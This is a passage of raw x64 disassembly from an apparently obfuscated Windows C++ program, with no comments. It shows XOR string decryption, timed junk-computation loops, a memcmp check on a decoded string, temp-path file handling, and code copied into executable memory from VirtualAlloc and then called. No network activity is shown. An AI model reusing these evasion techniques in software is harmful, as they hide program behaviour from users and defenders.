call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xb60]
call fcn.140259200
nop
lea rcx, [rsp + 0xb40]
call fcn.140259200
nop
lea rcx, [rsp + 0xb20]
call fcn.140259200
nop
lea rcx, [rsp + 0xa58]
call fcn.140259200
nop
lea rcx, [rsp + 0xa78]
call fcn.140259200
nop
lea rcx, [rsp + 0xb00]
call fcn.140259200
nop
lea rcx, [rsp + 0xa38]
call fcn.140259200
jmp 0x14023830c
lea r8, [rsp + 0xa38]
lea rdx, [rsp + 0x5f0]
call fcn.14025bd60
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3534], 0xffffffff
mov dword [rsp + 0x21b4], eax
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x21b4], eax
inc rdx
cmp rdx, 0x270
jb 0x140236dc0
mov dword [rsp + 0x21b0], 0x270
mov dword [rsp + 0x50], r12d
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140236e10
imul rax, rax, 0x64
jmp 0x140236e2b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140236e50
imul rax, rax, 0x64
jmp 0x140236e6b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x140237025
mov r14d, 0x186a0
nop word [rax + rax]
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140236ebb
nop dword [rax + rax]
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140236ea0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea ebx, [rcx - 0x80000000]
cmp ecx, esi
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x140236f1b
cmp eax, 0x64
jae 0x140236f1b
nop dword [rax]
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140236f00
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x140236f7c
cmp eax, 0x64
jae 0x140236f7c
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140236f61
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
imul edx, eax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x140236fde
cmp eax, 0x64
jae 0x140236fde
lea rcx, [rsp + 0x21b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140236fc3
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], edx
sub r14, 1
jne 0x140236e80
jmp 0x140236e32
mov eax, dword [rsp + 0x50]
mov eax, dword [str.__GqqwwzyM]
mov dword [rsp + 0x128], eax
mov edi, dword [0x1402bd008]
cmp byte [0x1402ab337], 0
je 0x1402371c7
cmp edi, 2
jl 0x140237159
mov r14d, 6
movd xmm5, r14d
mov r15d, 0x1f
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x128], xmm3
jmp 0x1402371d1
lea r10, [rsp + 0x128]
mov r9d, r12d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140237170
mov r15d, 0x1f
lea r14d, [r15 - 0x19]
lea rcx, [rsp + 0x128]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1402371e0
lea rcx, [rsp + 0xa58]
cmp qword [rsp + 0xa70], 0x10
cmovae rcx, qword [rsp + 0xa58]
mov r8, qword [rsp + 0xa68]
cmp r8, rax
jne 0x14023829f
lea rdx, [rsp + 0x128]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14023829f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc90], xmm0
movups xmmword [rsp + 0xca0], xmm0
movups xmmword [rsp + 0xcb0], xmm0
movups xmmword [rsp + 0xcc0], xmm0
movups xmmword [rsp + 0xcd0], xmm0
movups xmmword [rsp + 0xce0], xmm0
movups xmmword [rsp + 0xcf0], xmm0
mov qword [rsp + 0xd00], rax
lea rcx, [rsp + 0xc90]
call fcn.140255ff0
nop
lea rdx, [rsp + 0x6ff0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x6ff0]
lea rcx, [rsp + 0x2a0]
call fcn.140257350
mov ebx, dword [rsp + 0x40]
bts ebx, 0x1b
mov dword [rsp + 0x40], ebx
movsd xmm0, qword [0x1402abd00]
movsd qword [rsp + 0x130], xmm0
movzx eax, word [0x1402abd08]
mov ecx, 0x74
mov word [rsp + 0x130], cx
xor word [rsp + 0x132], 0x43
xor word [rsp + 0x134], 0x45
xor word [rsp + 0x136], 0x47
xor ax, 0x49
mov word [rsp + 0x138], ax
lea rax, [rsp + 0x130]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140237310
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x2a0]
call fcn.1402572d0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rsp + 0x500]
call fcn.14025a540
bts ebx, 0x1c
mov dword [rsp + 0x40], ebx
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x2a0]
call fcn.140259100
nop
lea rcx, [rsp + 0x500]
call fcn.140258f70
movsd xmm0, qword [str.o_I]
movsd qword [rsp + 0x140], xmm0
movzx eax, word [0x1402a9430]
mov ecx, 0x2e
mov word [rsp + 0x140], cx
xor word [rsp + 0x142], 0x43
xor word [rsp + 0x144], 0x45
xor word [rsp + 0x146], 0x47
xor ax, 0x49
mov word [rsp + 0x148], ax
lea rax, [rsp + 0x140]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1402373f0
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x2a0]
call fcn.1402572d0
lea r8, [rsp + 0x2a0]
cmp qword [rsp + 0x2b8], 8
cmovae r8, qword [rsp + 0x2a0]
mov rax, qword [rsp + 0x2b0]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0xac0]
lea rcx, [rsp + 0xc90]
call fcn.140258cb0
bts ebx, 0x1d
btr ebx, 0x1b
mov dword [rsp + 0x40], ebx
lea rcx, [rsp + 0x2a0]
call fcn.140258f70
lea rdx, [rsp + 0xac0]
cmp qword [rsp + 0xad8], 0x10
cmovae rdx, qword [rsp + 0xac0]
mov r8, qword [rsp + 0xad0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [0x1402a9ca8]
mov word [rsp + 0x64], ax
cmp byte [0x1402a9ca9], 0
je 0x1402374c1
mov byte [rsp + 0x64], 0x22
xor byte [rsp + 0x65], 0x43
mov eax, dword [str.ccgGqwwwsM]
mov dword [rsp + 0x12c], eax
cmp byte [0x1402abbf3], 0
je 0x140237647
cmp edi, 2
jl 0x1402375df
movd xmm5, r14d
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x12c], xmm3
jmp 0x140237647
lea r10, [rsp + 0x12c]
mov r9d, r12d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x1402375f0
movsd xmm0, qword [str._67if_osS]
movsd qword [rsp + 0x90], xmm0
movzx eax, word [0x1402a94d0]
mov word [rsp + 0x98], ax
cmp byte [0x1402a94d1], 0
je 0x1402376c0
mov byte [rsp + 0x90], 0x63
xor byte [rsp + 0x91], 0x43
xor byte [rsp + 0x92], 0x45
xor byte [rsp + 0x93], 0x47
xor byte [rsp + 0x94], 0x49
xor byte [rsp + 0x95], 0x4b
xor byte [rsp + 0x96], 0x4d
xor byte [rsp + 0x97], 0x4f
xor byte [rsp + 0x98], 0x51
xor byte [rsp + 0x99], 0x53
lea rax, [rsp + 0x90]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402376d0
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xad0]
sub rax, rdx
cmp rax, rcx
jb 0x14023878c
lea rax, [rsp + 0xac0]
cmp qword [rsp + 0xad8], 0x10
cmovae rax, qword [rsp + 0xac0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x90]
lea rcx, [rsp + 0x4e0]
call fcn.14025e2d0
bts ebx, 0x15
mov dword [rsp + 0x40], ebx
lea rax, [rsp + 0x12c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140237750
lea rdx, [rsp + 0x12c]
lea rcx, [rsp + 0x4e0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x308], xmm0
mov qword [rsp + 0x318], r12
mov qword [rsp + 0x320], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x308], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x318], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x1a
mov dword [rsp + 0x40], ebx
lea rdx, [rsp + 0xa78]
cmp qword [rsp + 0xa90], 0x10
cmovae rdx, qword [rsp + 0xa78]
mov r8, qword [rsp + 0xa88]
lea rcx, [rsp + 0x308]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x328], xmm0
mov qword [rsp + 0x338], r12
mov qword [rsp + 0x340], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x328], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x338], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x16
mov dword [rsp + 0x40], ebx
lea rax, [rsp + 0x64]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140237840
lea rdx, [rsp + 0x64]
lea rcx, [rsp + 0x328]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0xba8], xmm0
mov qword [rsp + 0xbb8], r12
mov qword [rsp + 0xbc0], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xba8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xbb8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x17
mov dword [rsp + 0x40], ebx
lea rcx, [rsp + 0x328]
call fcn.140259200
nop
lea rcx, [rsp + 0x308]
call fcn.140259200
nop
lea rcx, [rsp + 0x4e0]
call fcn.140259200
lea rax, [rsp + 0xba8]
cmp qword [rsp + 0xbc0], 0x10
cmovae rax, qword [rsp + 0xba8]
mov qword [rsp + 0x218], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xbc8], xmm0
lea rax, [rsp + 0x7298]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0xbd0], r15
mov qword [rsp + 0xbd8], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xbc8], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1402c49c0]
lea r14, [0x140000000]
lea rdi, [0x14025b2b0]
test rax, rax
je 0x140237979
mov rdx, r12
nop
cmp rax, rdi
je 0x140237968
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c49c0]
test rax, rax
jne 0x140237950
jmp 0x140237979
mov r8, qword [r14 + rdx*8 + 0x2c2d10]
test r8, r8
jne 0x140237a5f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402379a0
mov r8, r12
jmp 0x140237a3e
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402379b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402bfe40]
mov qword [r14 + rax*8 + 0x2c49c0], rdi
mov qword [r14 + rax*8 + 0x2c2d10], r8
inc rax
mov qword [0x1402bfe40], rax
lea rdx, [rsp + 0x218]
lea rcx, [0x14020ca80]
call r8
nop
xor rbx, r15
mov qword [rsp + 0xbc8], rbx
lea rax, [rsp + 0x7298]
mov qword [rax], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x48c4], 0xffffffff
mov dword [rsp + 0x3544], eax
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3544], eax
inc rdx
cmp rdx, 0x270
jb 0x140237ab0
mov dword [rsp + 0x3540], 0x270
mov dword [rsp + 0x50], r12d
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140237b00
imul rax, rax, 0x64
jmp 0x140237b1b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140237b40
imul rax, rax, 0x64
jmp 0x140237b5b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x140237d15
mov r14d, 0x186a0
nop word [rax + rax]
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140237bab
nop dword [rax + rax]
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140237b90
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea ebx, [rcx - 0x80000000]
cmp ecx, esi
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x140237c0b
cmp eax, 0x64
jae 0x140237c0b
nop dword [rax]
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140237bf0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x140237c6c
cmp eax, 0x64
jae 0x140237c6c
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140237c51
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
imul edx, eax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x140237cce
cmp eax, 0x64
jae 0x140237cce
lea rcx, [rsp + 0x3540]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140237cb3
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv edi
mov dword [rsp + 0x50], edx
sub r14, 1
jne 0x140237b70
jmp 0x140237b22
mov eax, dword [rsp + 0x50]
mov rdi, qword [rsp + 0xad0]
lea rbx, [rsp + 0xac0]
cmp qword [rsp + 0xad8], 0x10
cmovae rbx, qword [rsp + 0xac0]
call fcn.14027c590
mov qword [rsp + 0x410], rbx
mov qword [rsp + 0x418], rdi
lea r8, [rsp + 0x410]
mov edx, eax
lea rcx, [rsp + 0x470]
call fcn.140203f10
mov ebx, dword [rsp + 0x40]
or ebx, 0x3000000
mov dword [rsp + 0x40], ebx
lea rcx, [rsp + 0x470]
call fcn.1402044e0
movzx edi, al
lea rcx, [rsp + 0x470]
call fcn.140258f70
test dil, dil
je 0x140237ebc
mov eax, dword [str.27_5kM]
mov dword [rsp + 0x100], eax
movzx ecx, word [0x1402abf94]
mov word [rsp + 0x104], cx
movzx eax, byte [0x1402abf96]
mov byte [rsp + 0x100], 0x73
xor byte [rsp + 0x101], 0x43
xor byte [rsp + 0x102], 0x45
xor byte [rsp + 0x103], 0x47
xor cl, 0x49
mov byte [rsp + 0x104], cl
xor byte [rsp + 0x105], 0x4b
xor al, 0x4d
mov byte [rsp + 0x106], al
lea r8, [rsp + 0xac0]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xd30]
call fcn.14025b440
nop
lea rcx, [rsp + 0xd30]
call fcn.14020e780
movsd xmm0, qword [0x1402aa1d8]
movsd qword [rsp + 0xe0], xmm0
movzx eax, byte [0x1402aa1e0]
mov byte [rsp + 0xe0], 0x45
xor byte [rsp + 0xe1], 0x43
xor byte [rsp + 0xe2], 0x45
xor byte [rsp + 0xe3], 0x47
xor byte [rsp + 0xe4], 0x49
xor byte [rsp + 0xe5], 0x4b
xor byte [rsp + 0xe6], 0x4d
xor byte [rsp + 0xe7], 0x4f
xor al, 0x51
mov byte [rsp + 0xe8], al
lea rdx, [rsp + 0xe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xd30]
call fcn.140259200
jmp 0x1402381bc
movups xmm0, xmmword [0x1402ab6b8]
movups xmmword [rsp + 0x448], xmm0
movups xmm1, xmmword [0x1402ab6c8]
movups xmmword [rsp + 0x458], xmm1
movzx eax, word [0x1402ab6d8]
mov word [rsp + 0x468], ax
mov r9d, r12d
cmp dword [0x1402bd008], 2
jl 0x140238127
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x44c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
